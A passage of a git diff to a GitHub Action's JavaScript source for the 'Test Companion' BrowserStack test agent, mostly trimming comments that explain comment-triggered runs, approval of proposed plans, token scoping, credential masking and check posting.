"https://github.com"}/${REPO}/action // RUNNER_TEMP, not the system temp dir: GitHub clears RUNNER_TEMP per job, while // /tmp survives on a self-hosted or reused runner. With fixed names in a shared // /tmp, `existsSync(RESULT_FILE)` could find an EARLIER job's file and this run -// would report, and upload, test cases it never produced. Falls back to tmpdir() +// would report, and upload, test cases it never produced. Falls back to tmpdir // so the Action still runs outside a GitHub runner. const REPORT_DIR = env.RUNNER_TEMP || tmpdir() const SUMMARY_FILE = join(REPORT_DIR, "test-companion-report.md") // What the run PRODUCED, as opposed to how it went. Kept separate because the // two have separate readers: a CI step branches on the summary, a person reads // the result. For a preview run — which refuses to save by design — this file -// is the only place the generated cases survive (FR-20). +// is the only place the generated cases survive. const RESULT_FILE = join(REPORT_DIR, "test-companion-result.md") // The artifact the result is uploaded under, named here so the report can @@ -108,7 +108,7 @@ function ghRaw(args, body) { function gh(args, body) { const r = ghRaw(args, body) if (r.status !== 0) { - // A missing permission is a normal, documented outcome (FR-4): skip that + // A missing permission is a normal, documented outcome: skip that // write, name it, carry on. It is never a reason to fail the run. warn(`GitHub API call failed (${args[1] ?? args[0]}): ${(r.stderr ?? "").trim().split("\n")[0]}`) return null @@ -121,27 +121,25 @@ function gh(args, body) { } /** - * Sign in as the Test Companion GitHub App, when it is installed — Release 4. + * Sign in as the Test Companion GitHub App, when it is installed. * - * Buys exactly three things: the comment and the tick come from "Test - * Companion" rather than github-actions[bot], the workflow needs no - * permissions block because the installation token carries the App's own, and - * an admin can roll the setup out across an organisation at once. + * The comment and the tick then come from "Test Companion" rather than + * github-actions[bot], and the workflow needs no permissions block because + * the installation token carries the App's own. * - * It does not run anything (Decision 0). The run still happens on the - * customer's machine with their BrowserStack credentials. + * It does not run anything — the run still happens on the customer's machine + * with their BrowserStack credentials. * - * Every failure here falls back to the workflow token rather than stopping. A - * repository without the App installed is the normal case, not an error, and - * FR-4 says the run finishes either way. + * Every failure here falls back to the workflow token rather than stopping. + * A repository without the App installed is the normal case, not an error. */ /** - * The login this Action's comments appear under — review of #3101, M2. + * The login this Action's comments appear under. * * `github-actions[bot]` with the workflow token; `[bot]` when the - * App is installed, discovered from the installation lookup below. Used to - * tell OUR comments from any other bot's, because "any bot" let another App - * post a proposal marker that a maintainer's `go` would then run live. + * App is installed. Used to tell OUR comments from any other bot's — "any + * bot" would let another App post a proposal marker that a maintainer's `go` + * then runs live. */ let botLogin = "github-actions[bot]" @@ -154,23 +152,21 @@ let consumedMarker = "" /** * The proposal this run is carrying out, so the report can link it. * - * STM-5434 demo feedback, item 5: approving one job no longer finishes off the + * : approving one job no longer finishes off the * others on that commit, so two plans really can be waiting and "approved" on * its own no longer says which one this is. */ let approvedPlan /** - * Put the working tree on one commit — review of #3101, M8. + * Put the working tree on one commit. * - * Was two blocks doing the same job with different flags. One used - * `--depth 1`, which SHALLOWS a clone the starter deliberately made with - * `fetch-depth: 0`, so anything that looks at history afterwards sees one - * commit. The other checked its fetch but ignored whether the checkout - * worked, and carried on as if it had. + * Never `--depth 1`: that SHALLOWS a clone the starter deliberately made with + * `fetch-depth: 0`, so anything looking at history afterwards sees one + * commit. The checkout's own result is checked, not just the fetch's. * - * The URL is explicit and carries its own credential, because the starter now - * sets `persist-credentials: false` (M1) — the workflow token must not sit in + * The URL is explicit and carries its own credential, because the starter + * sets `persist-credentials: false` — the workflow token must not sit in * `.git/config` where a shell command the agent chose can read it. */ function fetchAndCheckout(sha, branch) { @@ -184,7 +180,7 @@ function fetchAndCheckout(sha, branch) { function appInstallationToken() { const creds = appCredentials(env) if (!creds) return undefined - // B3 (review of #3101). `creds` holds its own copy, so the key can leave + // B3. `creds` holds its own copy, so the key can leave // the environment the moment it has been read. Everything this process // starts from here on inherits that environment — including the agent, // which runs with --yolo and chooses its own commands — and a signing key @@ -218,7 +214,7 @@ function appInstallationToken() { try { const installation = JSON.parse(found.stdout) installationId = installation?.id - // M2 (review of #3101): what WE post as. An App comments as + // M2: what WE post as. An App comments as // `[bot]`, and knowing that is what lets us tell our own // proposal from another App's. if (installation?.app_slug) botLogin = `${installation.app_slug}[bot]` @@ -227,7 +223,7 @@ function appInstallationToken() { } if (!installationId) return undefined - // FR-4: "for that repo only". A token minted with no body carries every + // "for that repo only". A token minted with no body carries every // permission the installation holds across every repository it covers — a // run in one repository would hold write access to all of an organisation's. const scope = installationTokenRequest(REPO) @@ -245,7 +241,7 @@ function appInstallationToken() { // An installation granted fewer permissions than we ask for refuses the // whole request, so the second attempt drops the permission list and keeps - // the repository scope — which is the half FR-4 actually requires. Better a + // the repository scope — which is the half actually requires. Better a // token scoped to one repository than a fall back to the workflow token. let minted = mint(scope) if (minted.status !== 0) { @@ -264,26 +260,26 @@ function appInstallationToken() { } if (!token) return undefined - // FR-3: credentials are masked in the log. Before the token is used for + // credentials are masked in the log. Before the token is used for // anything, so there is no window where it could be echoed unmasked. console.log(`::add-mask::${token}`) return token } /** - * The settings file as it stands on the DEFAULT BRANCH — FR-7. + * The settings file as it stands on the DEFAULT BRANCH, not the checked-out + * tree. * - * Not the checked-out tree. Read from the branch under test, a pull request can - * rewrite the rules for its own run and be obeyed — switch itself from preview - * to live, delete its own spending limit, point its writes elsewhere. Reading - * from the default branch means an edit counts only once someone merges it. + * Read from the branch under test, a pull request could rewrite the rules for + * its own run — switch itself from preview to live, delete its spending + * limit, point its writes elsewhere. * - * Returns the local path the content was written to, or undefined when there is - * no settings file there. Fails SAFE: a fetch that errors for any reason is - * treated as "no settings", which is a clean skip (FR-13) rather than a run - * governed by whatever happens to be checked out. + * Returns the local path the content was written to, or undefined when there + * is no settings file there. Fails SAFE: a fetch that errors is treated as + * "no settings", a clean skip rather than a run governed by whatever happens + * to be checked out. * - * `--raw` because this is a YAML file, not the JSON envelope gh() parses. + * `--raw` because this is YAML, not the JSON envelope gh parses. */ function fetchSettings(path, ref) { const r = spawnSync( @@ -296,7 +292,7 @@ function fetchSettings(path, ref) { ) if (r.status !== 0) { const first = (r.stderr ?? "").trim().split("\n")[0] - // A 404 is the ordinary "this repo has no settings file yet" case (FR-13). + // A 404 is the ordinary "this repo has no settings file yet" case. // Anything else is worth saying out loud, because the run is about to skip. if (!/404|Not Found/i.test(first)) warn(`Could not read ${path} from ${ref}: ${first}`) return undefined @@ -307,7 +303,7 @@ function fetchSettings(path, ref) { } /** - * Whether `login` may ask Test Companion for a run — FR-33. + * Whether `login` may ask Test Companion for a run. * * admin, maintain and write can; triage and read cannot. Any failure to get a * clear answer counts as "no". @@ -319,7 +315,7 @@ function hasWriteAccess(login) { } /** - * Is `login` on `team` in this repository's organisation? — FR-33. + * Is `login` on `team` in this repository's organisation? * * Tri-state on purpose: undefined means we could not find out (no token for * the organisation, API down, rate limited), which mayAsk treats as a no. @@ -395,7 +391,7 @@ function readEventUncached() { } } -/** Nothing to do. Report it plainly and let the step pass — FR-3, FR-13. */ +/** Nothing to do. Report it plainly and let the step pass. */ function finishSkipped(reason, detail) { const human = { "not-a-pull-request": "That comment was on an issue, not a pull request.", @@ -415,7 +411,7 @@ function finishSkipped(reason, detail) { "no-workflow-named": "A manual run needs a `workflow` input naming the job.", "no-credentials": "Skipped: BrowserStack credentials are not available to this run.", "no-binding": "Nothing in testcompanion-pipeline.yml is bound to this event, so there was nothing to run.", - // FR-4: name the permission and the line to add. The commonest cause by + // name the permission and the line to add. The commonest cause by // far is a workflow without `pull-requests: read` — the lookup 403s, the // head commit is unknown, and the run fails closed. Said plainly here // because "nothing safe to run against" sends a reader looking at their @@ -435,7 +431,7 @@ function finishSkipped(reason, detail) { }[reason] const msg = human ?? `Nothing to do (${reason}).` notice(`Test Companion: ${msg}`) - // B1 (review of #3101). The "in progress" check goes up before the CLI + // B1. The "in progress" check goes up before the CLI // runs, so the run is cancellable while it is going. Skipping out from // under it left "Test Companion" pending for ever — and `no-binding` is // most events, so for most repositories that was most runs. @@ -453,7 +449,7 @@ function finishSkipped(reason, detail) { } /** - * FR-13: no settings file means a clean pass and the file they need. + * no settings file means a clean pass and the file they need. * * Checked before anything else that could cost money or time. Left to the CLI * this is a red build reading `open testcompanion-pipeline.yml: no such file or @@ -477,7 +473,7 @@ async function main() { notice("Test Companion: acting as the GitHub App.") } - // FR-3: a run without credentials does nothing, says so, and passes. This is + // a run without credentials does nothing, says so, and passes. This is // the normal shape of a fork pull request, not an error. if (!env.BROWSERSTACK_USERNAME || !env.BROWSERSTACK_ACCESS_KEY) { finishSkipped("no-credentials") @@ -486,15 +482,15 @@ async function main() { // Before the plan, so a repository with no pipeline file gets the starter // rather than whatever the planner happens to say about this event. const configPath = pipelineConfigPath(env.TC_ACTION_CONFIG, env) - // FR-7: from the default branch, never from the branch under test. + // from the default branch, never from the branch under test. // May be undefined — a repository with no settings file is a normal, and - // very common, first run (FR-13). It is NOT an early exit any more: a + // very common, first run. It is NOT an early exit any more: a // comment asking us to add that file is the one thing worth doing in a // repository that has none, and the exit used to sit in front of it. // Nothing below costs money before the settings check further down. const settingsFile = fetchSettings(configPath, settingsRef(readEvent(), env)) - // FR-44: before anything else this run does, clear out proposals that ran + // before anything else this run does, clear out proposals that ran // out of time, so none of them leaves a check stuck on "in progress". if (settingsFile && env.GITHUB_EVENT_NAME === "schedule") sweepExpiredProposals() @@ -511,26 +507,25 @@ async function main() { }, }) if (plan.skip) { - // FR-36: closing a pull request without merging stops whatever it started. + // closing a pull request without merging stops whatever it started. if (plan.skip.reason === "closed-unmerged") cancelForClosedPr(readEvent()) finishSkipped(plan.skip.reason, plan.skip.detail) } - // FR-33: only someone who can write to the repository may ask for a run by - // commenting. On a public repository anyone can comment, and a run executes - // an agent with --yolo against the customer's own machine and credentials, - // so this gate is the whole access-control story for the comment trigger. + // Only someone who can write to the repository may ask for a run by + // commenting. On a public repository anyone can comment, and a run runs an + // agent with --yolo against the customer's own machine and credentials. // - // Fails CLOSED: if the permission lookup itself fails — no token, API down, - // rate limited — the run does not start. An unanswerable "may they?" is a no. - // Keyed on the TRIGGER, not only on a flag the planner sets. A planner change - // that forgets the flag would otherwise delete this gate silently, and the - // failure would be invisible: runs would simply start working for people who - // should not be able to start them. - // A comment names an issue, not a commit. Look the pull request up so the - // run works on ITS head rather than the default branch, and so the check - // lands on that commit. Fails closed on a fork, like every other untrusted - // trigger (review finding, PR #3030). + // Fails CLOSED: if the permission lookup itself fails — no token, API + // down, rate limited — the run does not start. + // + // Keyed on the TRIGGER, not only on a flag the planner sets. A planner + // change that forgot the flag would delete this gate silently, and runs + // would simply start working for people who cannot start them. + // + // A comment names an issue, not a commit, so look the pull request up: + // the run works on ITS head and the check lands on that commit. Fails + // closed on a fork, like every other untrusted trigger. let pull if (!plan.context?.sha && plan.context?.pr) { pull = gh(["api", `repos/${REPO}/pulls/${plan.context.pr}`]) @@ -543,7 +538,7 @@ async function main() { } } - // FR-37: the ticket this change is for, so the run tests against what the + // the ticket this change is for, so the run tests against what the // ticket asks for and not only what the diff does. The pull request object // is already in hand for a comment event; for a pull_request event it is on // the payload. @@ -555,13 +550,13 @@ async function main() { }) if (ticket && plan.context) plan.context.ticket = ticket - // Read once, before the access check: FR-33's team narrowing lives in the - // same document as FR-43's approval gate. + // Read once, before the access check: team narrowing lives in the + // same document as approval gate. const bindingsDoc = settingsFile && plan.event ? readBindings(settingsFile, plan.event, plan.context?.branch) : undefined const askTeam = bindingsDoc?.settings?.ask_team // Only issue_comment. `pull_request_review_comment` was listed here too, - // but route() has no case for it, so such an event skips as + // but route has no case for it, so such an event skips as // "unsupported-event" long before this line — and the starter does not // subscribe to it either. // Jobs that understand --propose-only and --plan-file. For anything else @@ -572,7 +567,7 @@ async function main() { const COMMENT_TRIGGERS = new Set(["issue_comment"]) if (COMMENT_TRIGGERS.has(env.GITHUB_EVENT_NAME) || plan.requiresWriteAccess) { const who = plan.commenter ?? readEvent().comment?.user?.login - // FR-33: write access is the floor, and the pipeline file may narrow it + // write access is the floor, and the pipeline file may narrow it // to a team. It may never widen it — see mayAsk. const allowed = mayAsk({ hasWriteAccess: hasWriteAccess(who), @@ -580,29 +575,29 @@ async function main() { inTeam: askTeam ? isOnTeam(who, askTeam) : undefined, }) if (!allowed) { - // FR-33 wants a one-line reply, not a line in a log the person who + // wants a one-line reply, not a line in a log the person who // asked will never open. // // Unless they never addressed us. An unaddressed comment reaches // here only because it was a bare "go", and answering a bystander's // one-word comment with a public refusal is noise in someone else's - // conversation (M3, review of #3101). + // conversation. if (!plan.approvalOnly) replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) finishSkipped("not-authorized", who) } } - // FR-34: work out what the comment actually asked for, here, before the CLI + // work out what the comment actually asked for, here, before the CLI // is spawned — a request we cannot place has to cost nothing. let proposing = false let approvalNote = "" if (plan.event === TC_EVENTS.PR_COMMENT) { - // FR-34: pass what this repository has actually bound, so a job can be + // pass what this repository has actually bound, so a job can be // asked for by name and not only by the phrases written into PHRASES. // Fetched BEFORE the intent is read, because what a reply means depends // on whether we asked a question: with a plan waiting, "go, and fix // case 3's title" is an approval with an edit, not a request to run - // `fix` (M4, review of #3101). + // `fix`. const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) let waiting = findProposal(comments, plan.context.sha, Date.now(), botLogin) @@ -615,9 +610,9 @@ async function main() { replyOnPr(plan.context.pr, renderUnknownRequest()) finishSkipped("unmapped-request") } - // `stop` is gone — STM-5434 demo feedback, item 7. The word is still - // answered, because proposals already in live threads tell people to - // say it; it just says what to do instead and starts nothing. + // `stop` is gone. The word is still answered, because proposals already + // in live threads tell people to say it; it just says what to do + // instead and starts nothing. // // Still handled BEFORE the job words, for the reason it always was: // falling through would be the worst possible reading of "stop", where @@ -631,8 +626,8 @@ async function main() { finishSkipped("setup-requested") } - // `go #1234` names WHICH plan — STM-5434 demo feedback, item 5. Resolved - // here because the intent is what carries the number, and before + // `go #` names WHICH plan. Resolved here because the intent is + // what carries the number, and before // anything reads `waiting`, because from this point on it IS the plan // being approved. // @@ -661,7 +656,7 @@ async function main() { const bindings = bindingsDoc const binding = pickBinding(bindings, intent.workflow) - // FR-34 asks for any BOUND workflow. Saying so now beats a preview run, + // asks for any BOUND workflow. Saying so now beats a preview run, // a proposal, a "go", and only then "no binding for pr_comment". if (intent.workflow && bindings && !binding) { replyOnPr( @@ -678,7 +673,7 @@ async function main() { // Unless a plan we put up has been left behind by a newer commit. Then // they were talking to us, they used a word we accept, and telling them // "no @test-companion mention" is both wrong and unhelpful — the reason - // is sitting in the comment history (FR-44). + // is sitting in the comment history. if (plan.approvalOnly && !waiting) { // Already approved, or already stopped. Checked BEFORE the // superseded reading, which otherwise reaches for any older plan @@ -726,7 +721,7 @@ async function main() { finishSkipped("nothing-to-approve") } if (gate.action === GATE.EXPIRED) { - // FR-44: dropped after 24 hours. Enforced on the approving side, so a + // dropped after 24 hours. Enforced on the approving side, so a // stale proposal cannot be approved however long it sits there. replyOnPr( plan.context.pr, @@ -738,7 +733,7 @@ async function main() { if (gate.approvedProposal) { // Pin the run to the job that was actually proposed and read. The // GO intent names no workflow, so without this the CLI resolved one - // from the event alone — whichever binding came first in the file — + // from the event alone — whichever binding came first in the file // and a `fix` proposal could run something else, live, with --yolo. if (waiting?.workflow) plan.workflow = waiting.workflow @@ -751,13 +746,13 @@ async function main() { gh(["api", `repos/${REPO}/commits/${plan.context.sha}/check-runs?per_page=100`])?.check_runs, ) if (pending) rememberCheck(plan.context.sha, pending) - // Named with the JOB it finished (item 5). Without that, approving - // `fix` made a waiting `generate` plan unapprovable until somebody - // pushed — hit twice while testing. + // Named with the JOB it finished. Without that, approving `fix` + // leaves a waiting `generate` plan unapprovable until somebody + // pushes. consumedMarker = proposalConsumedMarkerFor(plan.context.sha, plan.workflow) approvedPlan = waiting?.url ? { id: waiting.id, url: waiting.url } : undefined - // FR-43: the run carries out the approved plan — the proposal as the + // the run carries out the approved plan — the proposal as the // approver left it, edits and all. Written to a file rather than // squeezed onto a command line: a case list is prose, and --context // strips the punctuation it is written with. @@ -783,7 +778,7 @@ async function main() { notice(`Test Companion:${approvalNote}`) } } else { - // FR-44: too big to cover in one go — say so to the run, which then + // too big to cover in one go — say so to the run, which then // covers what matters and lists what it left out. const size = describeChangeSize(pull) if (size.large) { @@ -792,7 +787,7 @@ async function main() { } proposing = gate.action === GATE.PROPOSE - // FR-43: a planning pass has to KNOW it is one. Without this it attempts + // a planning pass has to KNOW it is one. Without this it attempts // the work, is refused by preview, and reports "Could not run" after // spending real credits — observed on the first live run. // Only `test-pr` has --propose-only and --plan-file; sending either to @@ -807,16 +802,13 @@ async function main() { // THIS RUNS LAST, and it has to. // // `rca`, `fix` and `verdict` need to know WHICH build failed. A - // build_failed trigger is handed the run; a COMMENT is not, so these - // three used to fail on the first comment with "Could not run" — while - // we advertise all three by name. + // build_failed trigger is handed the run; a comment is not. // // Last, because the workflow is not final until the approval handling // above has run: "go" names no job, so the job comes from the proposal - // being approved. With this block higher up, asking for an rca worked - // and APPROVING it did not — the CLI was spawned with no build and - // refused it with `rca requires --context build=`. Live run - // 41048725625. + // being approved. Higher up, asking for an rca would work and + // APPROVING it would not — the CLI gets spawned with no build and + // refuses with `rca requires --context build=`. // // The newest red run on this commit is what a person means by "the // failure". Only looked up when the job needs it and the caller has @@ -840,7 +832,7 @@ async function main() { } } - // FR-13: no settings file means a clean pass and the file they need. Checked + // no settings file means a clean pass and the file they need. Checked // before anything that costs money or time — the comment handling above // spends only API calls, and "set up this repo" has to be reachable from here. if (!settingsFile) { @@ -857,41 +849,26 @@ async function main() { if (plan.workflow) args.push(plan.workflow) if (plan.event) args.push("--event", plan.event) // One flag per pair. A single joined value is parsed by pflag with - // encoding/csv, where one double quote anywhere — `Fix "Pay now" button` — + // encoding/csv, where one double quote anywhere — `Fix "Pay now" button` // fails the whole flag and the run reports "Could not run". args.push(...contextArgs(plan.context)) if (plan.preview) args.push("--preview") - // The fetched copy, not whatever the checkout holds — FR-7. + // The fetched copy, not whatever the checkout holds. args.push("--config", settingsFile) args.push("--json", "--yolo", "--summary-file", SUMMARY_FILE, "--result-file", RESULT_FILE) - // The run must happen on the commit it is about. On an `issue_comment` - // event GitHub checks out the DEFAULT branch — a live run on 2026-10-27 - // wrote eight tests for a pull request branch into a checkout of the - // default one. The starter workflow cannot be amended once customers have - // merged it, so the Action puts itself on the right commit. - // - // Read-only with respect to the remote, and advisory: see the checkout - // below, which says what happens when it cannot be done. - // Every arm fails CLOSED, and each is read from the world rather than - // asserted. An earlier draft hard-coded sameRepo on the reasoning that - // plan-run.mjs already skips forks — true today, and exactly the shape - // that goes quietly wrong when the code around it moves. The same - // fail-open bug had already appeared once in this Action, on - // `pull_request_target` with a deleted fork. // Put the tree on the commit under review, when nothing else already has. // - // Where a comment names an issue, the block above already fetched the head - // sha and detached onto it. A pull_request event is different: GitHub - // checks out the MERGE commit, and nothing corrects that — so without this - // a synchronize-triggered run reads, and would push, merged content rather - // than the branch. + // An `issue_comment` event checks out the DEFAULT branch, and a + // `pull_request` event checks out the MERGE commit. Neither is the commit + // the run is about, and the starter workflow cannot be amended once + // customers have merged it, so the Action corrects its own checkout. // - // No --depth. On a repository cloned with fetch-depth 0 a shallow fetch - // makes a COMPLETE clone shallow, taking history away from the agent and - // from tc's dedupe claim. + // No --depth: on a clone made with fetch-depth 0 a shallow fetch makes a + // COMPLETE clone shallow, taking history away from the agent and from + // tc's dedupe claim. // - // Advisory: a checkout we cannot do is reported and the run continues + // Advisory. A checkout we cannot do is reported and the run continues // against whatever is here, because a proposal built from the diff is // still worth having. shouldPushWork re-checks before anything is pushed. if ( @@ -928,9 +905,9 @@ async function main() { } // The handle anything cancelling this run needs — a pull request closed - // without merging is the one left (FR-36). Posted BEFORE the run, because + // without merging is the one left. Posted BEFORE the run, because // a check written at the end cannot help cancel the run that is writing - // it. It also makes FR-48's "the check shows while it runs" true for every + // it. It also makes "the check shows while it runs" true for every // run rather than only a proposal. const checkSubject = checkSha(plan.context, {}, env.GITHUB_SHA) if (checkSubject) { @@ -962,7 +939,7 @@ async function main() { // The run executes shell commands the model chooses; anything in this // environment is readable by them. Stripped rather than trusted, because the // product only scrubs these on BrowserStack-hosted runs, not a customer's - // own machine (FR-3). + // own machine. const run = await runCapturingAnswer("tc", args, childEnvFor(env)) const exitCode = run.status ?? 1 @@ -1000,7 +977,7 @@ async function main() { } } - // FR-42: a configured write that could not happen is said out loud, naming + // a configured write that could not happen is said out loud, naming // what is missing — a silent skip reads as "there was nothing to write". const warnings = [] const testsRepo = bindingsDoc?.settings?.tests_repo @@ -1010,13 +987,13 @@ async function main() { if (!access.ok) warnings.push(access.message) } - // FR-45: silent unless the settings asked for them. + // silent unless the settings asked for them. const extraChecks = renderExtraChecks(summary, { wcag: bindingsDoc?.settings?.wcag, visual: bindingsDoc?.settings?.visual, }) - // FR-43: the approved work must outlive the runner. Until this existed + // the approved work must outlive the runner. Until this existed // nothing carried it off the machine — the CLI opens a pull request only // for `automate` and `fix`, so an approved `test-pr` run wrote eight // passing tests and lost all eight. @@ -1032,7 +1009,7 @@ async function main() { outcome, summary, runUrl: RUN_URL, - // FR-2: two runs a week apart on the same pinned version must report the + // two runs a week apart on the same pinned version must report the // same CLI version, which means showing it. cliVersion: summary.cli_version || env.TC_ACTION_CLI_VERSION, resultArtifact: hasResult ? RESULT_ARTIFACT : undefined, @@ -1042,29 +1019,26 @@ async function main() { askedBy: plan.commenter, askedAt: plan.askedAt, // `rca` and `verdict` leave no artefact — their result file holds the - // agent's own closing words, and that IS what was asked for. Without - // this the comment was a table saying "Succeeded" with no answer in it - // (live run 41049398591). ANSWER_JOBS mirrors the CLI's own list in - // cli/pkg/cli/commands/narrative.go; a job missing there writes nothing - // to the file, so a mismatch shows up as an empty answer, never as - // someone else's output. - // STM-5434: the agent's closing words, for EVERY job. They were always - // in the output stream (run_render.go emits an `answer` event whatever - // the verb); the Action inherited stdout and so never read them, and - // `fix` posted a "Succeeded" table with its diagnosis nowhere in sight. - // The result file stays as the fallback for the two verbs the CLI does - // write it for, so a stream we fail to parse cannot lose what worked. - // It stays gated on ANSWER_JOBS: for `generate` that file holds test - // cases, not prose, and dumping those here would be someone else's output. + // agent's closing words, and that IS what was asked for. Without this + // the comment is a table saying "Succeeded" with no answer in it. + // + // The closing words are read from the output stream for EVERY job, so + // `fix` does not post a "Succeeded" table with its diagnosis nowhere + // in sight. The result file stays as the fallback for the two verbs + // the CLI writes it for, so a stream we fail to parse cannot lose + // what worked. + // + // Still gated on ANSWER_JOBS: for `generate` that file holds test + // cases, not prose. answer: run.answer || (hasResult && ANSWER_JOBS.has(plan.workflow ?? summary.workflow) ? readResult() : undefined), failedTests, } - // FR-43: a held request posts what it WOULD do and ends. The run that + // a held request posts what it WOULD do and ends. The run that // produced this was a preview run, so nothing has been written. if (proposing) { const sha = checkSha(plan.context, summary, env.GITHUB_SHA) addToJobSummary(renderJobSummary(view)) - // FR-44: say when the change is too big to test in one go, so the + // say when the change is too big to test in one go, so the // reviewer can narrow the list before approving rather than after. const size = describeChangeSize(pull) const sizeNote = size.large @@ -1088,12 +1062,12 @@ async function main() { renderProposalBody({ summary: renderCheckSummary(view), plan: planBody, sizeNote }), sha, plan.commenter, - // FR-43: record WHICH job this proposal is for, so approving it + // record WHICH job this proposal is for, so approving it // cannot run a different one. plan.workflow ?? summary.workflow, ), ) - // FR-44: the check shows in progress while the proposal waits. + // the check shows in progress while the proposal waits. postCheck(outcome, view, sha, [], "in_progress") setOutput("outcome", "Proposed") setOutput("should-fail", "false") @@ -1106,14 +1080,14 @@ async function main() { setOutput("outcome", outcome) setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, outcome))) - // FR-28: each failing test on the line it is declared on, so a reviewer sees + // each failing test on the line it is declared on, so a reviewer sees // it in the files-changed view instead of having to open the run's logs. - // Empty whenever the reporter printed no locator, which is every mocha run — + // Empty whenever the reporter printed no locator, which is every mocha run // those failures are named in the report instead. const annotations = buildAnnotations(failedTests) - // FR-45: accessibility may turn the check red, but ONLY when the settings + // accessibility may turn the check red, but ONLY when the settings // say so and only for violations this change introduced. The step's own - // result is untouched — that follows the build effect (FR-9). + // result is untouched — that follows the build effect. const checkOutcome = outcome === OUTCOMES.SUCCEEDED && accessibilityFailsCheck(summary, { @@ -1142,22 +1116,20 @@ async function main() { } /** - * Commit what the run wrote, onto the pull request's own branch — FR-42's - * "tests go in the pull request's own repository" applied to the run that - * produced them. + * Commit what the run wrote, onto the pull request's own branch. * * A commit on the branch rather than a second pull request: someone who asked * for tests on their change wants them on their change, not in a review queue * behind it. * * Returns the line for the comment, or undefined when there was nothing to - * save. Never throws and never fails the run — the report is the product here, - * and a failed push that takes the whole run down loses the report too. + * save. Never throws and never fails the run — a failed push that takes the + * whole run down loses the report too. */ function saveWork(saving, plan) { if (!saving.ok) return undefined const branch = plan.context.branch - // M7 (review of #3101). We push HEAD, so a commit the AGENT made rides + // M7. We push HEAD, so a commit the AGENT made rides // along unfiltered — source, lockfiles, `.github/` — and a workflow-file // change fails the whole push with an error nobody can read. Our own // commit happens below, after this check, so a HEAD that moved during the @@ -1191,12 +1163,12 @@ function saveWork(saving, plan) { ].join(" ") } // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a - // path like café.spec.ts arrives as itself. unquote() decodes the escapes + // path like café.spec.ts arrives as itself. unquote decodes the escapes // anyway, but not producing them is the better half of the fix. // `-uall` so a NEW DIRECTORY arrives as its files. Without it git reports // `?? tests/`, splitPushable sees one path with one segment, and // `git add tests/` commits `tests/.env` and `tests/run.log` along with the - // spec (M6, review of #3101). + // spec. const status = git(["-c", "core.quotePath=false", "status", "--porcelain", "--untracked-files=all"]) if (!status.ok) return undefined const { push, skip } = splitPushable(changedPaths(status.raw)) @@ -1249,7 +1221,7 @@ function saveWork(saving, plan) { return renderPushNote({ branch, sha: git(["rev-parse", "HEAD"]).out, files: push, skipped: skip }) } -/** FR-48: one check, never neutral. FR-28: each failing test on its own line. */ +/** one check, never neutral.: each failing test on its own line. */ function postCheck(outcome, view, sha, annotations = [], status = "completed", title = undefined) { if (!sha) return const waiting = status === "in_progress" @@ -1265,11 +1237,11 @@ function postCheck(outcome, view, sha, annotations = [], status = "completed", t output: { title: waiting ? (title ?? "Waiting for approval") : outcome, // CAPPED. GitHub rejects a summary over 65,535 characters with a - // 422, gh() turns that into a warning and returns null, and the - // "Running" check posted before the run is then never completed — + // 422, gh turns that into a warning and returns null, and the + // "Running" check posted before the run is then never completed // it sits in_progress on the head commit for ever, blocking anyone // who made it required. The comment was capped and this was not - // (CodeRabbit, PR #3286). + // summary: renderCheckSummary(view), ...(annotations.length ? { annotations } : {}), }, @@ -1281,7 +1253,7 @@ function postCheck(outcome, view, sha, annotations = [], status = "completed", t // adding another. A run posts up to three times — in progress, the result, // and the catch-all on a crash — so posting every time left two or three // checks of the same name, and a proposal's in-progress one pending - // forever. FR-48 asks for one. + // forever. asks for one. const { method, path } = checkRequestFor(sha, checksMade) const res = gh(["api", `repos/${REPO}/${path}`, "--method", method, "--input", "-"], payload) if (res?.id) checksMade.set(sha, res.id) @@ -1296,7 +1268,7 @@ function rememberCheck(sha, id) { } /** - * End the runs in flight on this commit — FR-36. + * End the runs in flight on this commit. * * A cancel call rather than a flag the next run would notice: asking GitHub to * cancel is the only thing that stops work already underway. The one caller @@ -1332,11 +1304,11 @@ function cancelRunsOn(sha) { } /** - * FR-36: a pull request closed without merging stops its run. + * A pull request closed without merging stops its run. * - * Without the permission to cancel, FR-36 says the run finishes and the comment - * says it ran on a closed pull request — so this warns and lets it be, rather - * than failing anything. + * Without the permission to cancel, the run finishes anyway and the comment + * says it ran on a closed pull request — so this warns and lets it be, + * rather than failing anything. */ function cancelForClosedPr(payload) { const sha = payload?.pull_request?.head?.sha @@ -1344,10 +1316,10 @@ function cancelForClosedPr(payload) { const { cancelled, forbidden } = cancelRunsOn(sha) if (cancelled > 0) { // Cancelling leaves the run's check in progress, and a check that never - // resolves blocks anyone who made it required — the #3101 B1 failure. + // resolves blocks anyone who made it required — the B1 failure. // `stopRuns` used to complete it and went with `stop`; nothing replaced // it, so a pull request closed mid-run kept a pending check that came - // back if it was reopened (STM-5434 review, PR #3286). + // back if it was reopened. const existing = inFlightCheckId(gh(["api", `repos/${REPO}/commits/${sha}/check-runs?per_page=100`])?.check_runs) if (existing) rememberCheck(sha, existing) postCheck( @@ -1365,7 +1337,7 @@ function cancelForClosedPr(payload) { } /** - * Which test framework the checked-out repository uses — FR-13. + * Which test framework the checked-out repository uses. * * Two levels deep and skipping node_modules and dotted directories: deep * enough for the common `e2e/playwright.config.ts` layout, shallow enough not @@ -1402,7 +1374,7 @@ function scanForFramework() { } /** - * Open the pull request that adds the settings file — FR-13. + * Open the pull request that adds the settings file. * * A pull request rather than a direct commit, deliberately: the settings decide * what Test Companion is allowed to do, so they go in the way every other @@ -1445,13 +1417,11 @@ function openSetupPr(plan, configPath) { } /** - * Drop proposals nobody answered — FR-44. + * Drop proposals nobody answered. * - * This is what makes FR-44's in-progress check safe to post at all. A proposal - * that is never replied to would otherwise leave that check unresolved for the - * life of the pull request, and anyone who made "Test Companion" a required - * check is then blocked by a check that never arrives — the same failure - * Release 2 avoided by posting the tick at the END of a run. + * This is what makes the in-progress check safe to post at all. A proposal + * never replied to would otherwise leave that check unresolved for the life + * of the pull request, blocking anyone who made "Test Companion" required. * * Runs on the nightly schedule, alongside whatever else is bound to it. */ @@ -1471,7 +1441,7 @@ function sweepExpiredProposals() { // in SPENT_MARKER — so sweeping one old plan would kill every current // one beside it, which is the thing item 5 set out to stop. Leave it; // it is already expired, so it cannot be approved either way - // (STM-5434 review, PR #3286). + // if 